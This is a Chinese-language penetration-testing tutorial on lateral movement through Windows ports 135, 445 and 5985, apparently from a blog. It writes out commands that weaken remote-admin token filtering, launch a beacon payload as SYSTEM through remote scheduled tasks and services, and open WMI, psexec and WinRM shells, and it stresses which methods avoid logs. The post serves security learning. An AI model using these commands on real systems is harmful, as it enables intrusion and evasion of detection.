内网横向下的135,445与5985端口利用

LocalAccountTokenFilterPolicy

在工作组环境下横向移动时administrator账户和管理员账户下的其他用户进行远程连接时,会有一定的区别,原因就是因为LocalAccountTokenFilterPolicy,在Windows Vista以后的操作系统中,注册表中默认没有这个值,因此当administrator账户进行连接时会得到具有管理员凭证的令牌,而其他管理员账户进行连接时会得到一个删除管理员凭证的令牌。因此当其他本地管理员账户进行连接时会提示权限不够无法连接。
以上这种情况在域环境中不受影响,只要是域管理员都可以建立管理员权限的连接。

注册表操作

使用该命令对注册表进行查询,可以看到默认不存在该值

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy

通过administrator账号和管理组账号对比可以发现只允许administrator登录

使用以下命令添加该值,此时已经可以用其他管理员账号进行横向

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

使用以下命令可以删除该注册表值

reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f

135端口

WMIC

介绍

WMIC 是 Windows 管理仪表命令行(Windows Management InstrumentationCommand-line)的简称,它是一款命令行管理工具,使用 WMIC,我们不但可以管理本地计算机,还可以管理统一局域网内的所有远程计算机(需要必要的权限),而被管理的计算机不必事先安装 WMIC。自 Windows98 开始,Windows 操作系统都支持 WMICWMIC 是一系列工具集组成的。

特点

在用 WMIC 执行命令过程中,操作系统默认不会将 WMIC 的操作记录在日志中,因此在这个过程中不会产生日志。所以越来越多的攻击者由 psexec、 smbexec 转向 WMIC

利用条件

WMIC 的使用需要对方开启 135 端口,135 端口是 WMIC 默认的管理端口。但是有的工具例如impacketwmicexec.py还需要另外开启 445 端口和 admin$ 共享,因为他需要用 smb 回传来读取回显结果。

SharpWmi

介绍

下载地址:[https://github.com/QAX-A-Team/sharpwmi](https://github.com/QAX-A-Team/sharpwmi)
这是一个基于 135 端口来进行横向的工具, 具有命令执行和文件上传的功能。命令执行的实现是通过 Wmi 来执行命令,然后将结果写入注册表随后读取注册表内容来实现。文件上传功能是将数据写入注册表,随后使用 powershell 读取注册表数据写入到本地文件。

优点:
只依赖135端口,不需要139或者445端口

缺点:
目前只支持上传512kb以下的文件,因为注册表每个值值长度不能超过512kb。
执行命令和上传文件都依赖powershell,容易被杀软检测

功能测试

命令执行

sharpwmi.exe 192.168.3.157 micle admin cmd whoami

文件上传

sharpwmi.exe 192.168.3.157 micle admin upload 1.txt "c:\1.txt"

执行的速度还是比较快的,但是该工具不能批量执行命令或上传文件,可以使用以下魔改版

https://github.com/idiotc4t/sharpwmi

日志分析

我们首先将 windows 的五种日志全部清除

重新使用工具执行命令,可以看到只有在安全日志中存在登录和特殊登录(给登录用户赋予权限),不存在其他日志信息

WMIHACKER

下载地址:https://github.com/rootclay/WMIHACKER/

介绍

该工具主要功能:命令执行、文件上传、文件下载,该工具仅需要 135 端口,具体原理和SharpWmi类似

功能测试

有命令回显执行方式

cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "systeminfo" 1

无命令回显,只能通过写文件再读文件的方式来实现

cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "systeminfo > c:\1.txt" 0
cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "type  c:\1.txt" 1

模拟shell模式,该模式产生的并不是交互式shell,仅仅是便于执行命令而已,可以看到如果执行powershell,下方则一直在等待执行无法结束

cscript WMIHACKER.vbs /shell 192.168.3.157 micle "admin"

文件上传

cscript WMIHACKER.vbs /upload 192.168.3.157 micle "admin" "1.txt" "c:\hello.txt"

文件下载功能失败,工具可能有问题,大家自行测试。

日志分析

可以看到只包含登录和注销日志

wmiexec-pro

下载地址:https://github.com/XiaoliChan/wmiexec-Pro

介绍

新一代 wmiexec.py,更多新功能,整个操作仅适用于端口 135(不需要 smb 连接)用于横向移动中的 AV 规避,该工具文件上传与命令执行不再从注册表获取,而是通过自定义 wmi 类来实现
主要特点:

主要特点:AV规避
主要特点:无需win32_process
主要特点:只需要135端口。
新模块:AMSI旁路
新模块:文件传输
新模块:通过 wmi 类方法远程启用 RDP
新模块:Windows 防火墙滥用
新模块:事件日志循环清理
新模块:在不接触 CMD 的情况下远程启用 WinRM
新模块:服务管理器
新模块:RID-Hijack
增强功能:以新方式获取命令执行输出
增强功能:执行 vbs 文件

功能测试

建立shell连接

python3 wmiexec-pro.py micle:admin@192.168.3.157 exec-command -shell

执行系统命令

python3 wmiexec-pro.py micle:admin@192.168.3.157 exec-command -command "whoami"

当然还有许多附加功能,大家自行测试即可

日志分析

日志中同样仅有登录注销日志

445端口

IPC$ 共享

介绍

IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换。 IPC$是 NT2000 的一项新功能,在同一时间内,两个 IP 之间只允许建立一个连接在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享 (admin$),但只有管理员能够对他们进行远程操作。

以下为常用命令

net use #查看本机连接其他的机器
net session #查看其他连接本机的机器
net share #查看开启的本地共享
net share ipc$ #开启ipc共享
net share ipc$ #删除ipc共享
net use \\192.168.3.1\ipc$ /u:"administrator" password #以管理员账号进行ipc连接
net use \\192.168.3.1\ipc$ \del #删除建立的ipc连接
dir \\192.168.3.1\c$\user #查看c盘下的user文件夹的目录
net time \\192.168.3.1 #查看远程主机的时间

ipc连接利用条件:开启了445端口和ipc$共享,如果主机没有开放,建立连接时会提示找不到网络名。

利用方式

dir命令

tasklist 命令查看进程

at 命令创建计划任务
首先查看远程主机时间

使用at命令创建计划任务

at \\192.168.3.150 15:17:30 cmd.exe /c "ipconfig >1.txt"

虽然说已经被弃用,但是只要成功添加作业 at 命令就有效

删除创建的作业

schtasks 执行计划任务
比 at 命令灵活,但是在c:\windows\tasks\xxx.txt会留下日志
在目标主机 192.168.3.157 上创建一个名为 test 的计划任务,启动权限为 system,启动时间为每隔一小时启动一次

schtasks /create /s 192.168.3.157 /tn test /sc HOURLY /mo 1 /tr c:\beacon.exe /ru system /f /U micle /P admin

查询该 test 计划任务

schtasks /query /s 192.168.3.157 /U micle -P admin | findstr test

启动 test 计划任务,成功上线

schtasks /run /s 192.168.3.157 /i /tn "test" /U micle -P admin

删除该 test 计划任务

schtasks /delete /s 192.168.3.157 /tn "test" /f /U micle -P admin

sc 注册服务

#sc 命令远程创建名为 test 的服务
sc \\192.168.3.157 create test binpath= "c:\beacon.exe" 
#远程查询名为 test 的服务
sc \\192.168.3.157 query test
#远程启动名为 test 的服务
sc \\192.168.3.157 start test
#远程删除名为 test 的服务
sc \\192.168.3.157 delete test

atexec.py

impacket 中的 atexec.py 脚本,就是利用定时任务获取权限,该脚本的利用需要开启 ipc$共享,通过计划任务服务来在目标主机上实现命令执行,并返回命令执行后的输出结果 。
使用明文密码进行连接

使用 hash 进行连接

psexec

介绍

psexec 的基本原理是:通过管道上传一个二进制文件到目标机器的 C:\Windows 目录,并在远程目标机器上创建一个服务。然后,通过该服务运行二进制文件,运行结束后删除服务和二进制文件。由于创建或删除服务时会产生大量的日志,所以会在攻击溯源时通过日志反推攻击流程。并且该工具在执行上传的二进制文件时,会被杀毒软件查杀。

利用条件

要利用 psexec 远程连接,需要目标主机开启 445 端口和 admin$共享。因为 psexec 要往 C:\Windows 目录下写二进制文件。对于 impacket 下的 psexec.py,除了admin$共享外,还可以使用 C$共享。 而微软提供的psexec.exe则只能使用admin$共享

psexec.py

使用psexec.py执行

从上方可以看到上传的程序为gRKuLZdb.exe,启动的服务为XOGT

微软官方 psexec.exe

下载地址 https://download.sysinternals.com/files/PSTools.zip
该工具只依赖于 445 端口和 admin$共享,并且其上传的二进制文件名固定为 PSEXESVC.exe,创建的服务名固定为 PSEXESVC
如果已经建立ipc连接则不需要再输入账号密码,如果没建立使用以下命令

加 -s 获取system权限 不加则为登录的管理员权限
psexec.exe \\192.168.3.157 -u micle -p admin -s cmd.exe
psexec.exe \\192.168.3.157 -u micle -p admin  cmd.exe

如果本地想获得一个system权限
PsExec64.exe -i -s  cmd.exe

可以看到程序名和服务名

日志分析

最明显的特征就是在系统日志中出现 ID 为 7045 的日志

smbexec.py

smbexec 是一个类似 psexec 的使用 RemComSvc 技术的工具,该工具通过文件共享在远程系统中创建服务,将要运行的命令通过服务写在 bat 文件中来执行,然后将执行的结果写在文件中来读取执行命令的输出,最后将 bat 文件、输出文件和服务都删除。

使用明文密码进行连接

使用-share参数可以使用ipc共享外的其他共享

日志分析

可以看到将命令输出到文件的服务

5985端口

WinRM 是 Windows Remote Managementd(Windows 远程管理)的简称。它基于 Web 服务管理,WinRM2.0 默认端口 5985(HTTP 端口)或 5986(HTTPS 端口)。如果所有的机器都是在 域环境下,则可以使用默认的 5985 端口,否则的话需要使用 HTTPS 传输(5986 端口)。使用 WinRM 我们可以在对方有设置防火墙的情况下远程管理这台服务器,因为启动 WinRM 服务后,防火墙默认会放行 5985 端口。WinRM 服务在 Windows Server 2012 及以上服务器自动启动。在 WindowsVista 上,服务必须手动启动。 WinRM 的好处在于,这种远程连接不容易被察觉到,也不会占用远程连接数。
当然在winRM连接时也遵循LocalAccountTokenFilterPolicy

相关命令

强制开启 winRM 远程管理

Enable-PSRemoting -force

快速开启 winRM 远程管理,对winRM进行快速配置,包括开启winRM和开启防火墙允许5985端口

winrm quickconfig -q

快速启动 WinRM 远程管理,对 WinRM 服务进行快速配置,包括开启 WinRM 和开启防火墙允许默认的 5985 端口和 5986 HTTPS 传输端口。开启 https 传输需要该机器需要证书

winrm quickconfig -transport:https

设置 WinRM 自启动

Set-Service WinRM -StartMode Automatic

查看 WinRM 监听

winrm enumerate winrm/config/listener

查看 WinRM 配置

winrm get winrm/config

修改 WinRM 默认端口

winrm set winrm/config/client/DefaultPorts '@{HTTPS="8888"}'

为 WinRM 服务配置加密方式为允许非加密

winrm set winrm/config/service '@{AllowUnencrypted="true"}'

设置只允许指定 IP 远程连接 WinRM

winrm set winrm/config/Client '@{TrustedHosts="192.168.3.*"}'

通过 WinRM 执行命令

执行程序,也可以填写木马所在的路径

winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="calc.exe"}'

利用 WinRM 远程连接主机

客户端连接

winrs -r:http://192.168.3.170:5985 -u:micle -p:admin cmd

如果是工作组环境,本机未加入域,则需要在客户端允许此命令

Set-Item wsman:\localhost\Client\TrustedHosts -value *

使用 Enter-PSSession 连接
直接进入一个会话中

Enter-PSSession -computer 192.168.3.170 -Credential micle -Port 5985

新建一个会话但是不进入

New-PSSession -Name test -ComputerName 192.168.3.170 -Credential  micle

查看所有会话

Get-PSSession

进入 ID 为 1 的 WinRM会话中

Enter-PSSession -id 1

进入 Name 为 test 的 WinRM 会话中

Enter-PSSession -Name test

使用 Python 远程连接 WinRM

服务端需要进行如下配置

#为 winrm service 配置 auth:
winrm set winrm/config/service/auth '@{Basic="true"}'

#为 winrm service 配置加密方式为允许非加密:
winrm set winrm/config/service '@{AllowUnencrypted="true"}'

安装库 pip install pywinrm
运行以下代码即可

import winrm
while True:
    cmd = input("$: ")
    wintest = winrm.Session('http://192.168.3.170:5985/wsman',auth=('micle','admin'))
    ret = wintest.run_cmd(cmd)
    print(ret.std_out.decode("GBK"))
    print(ret.std_err.decode())

  • 28
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值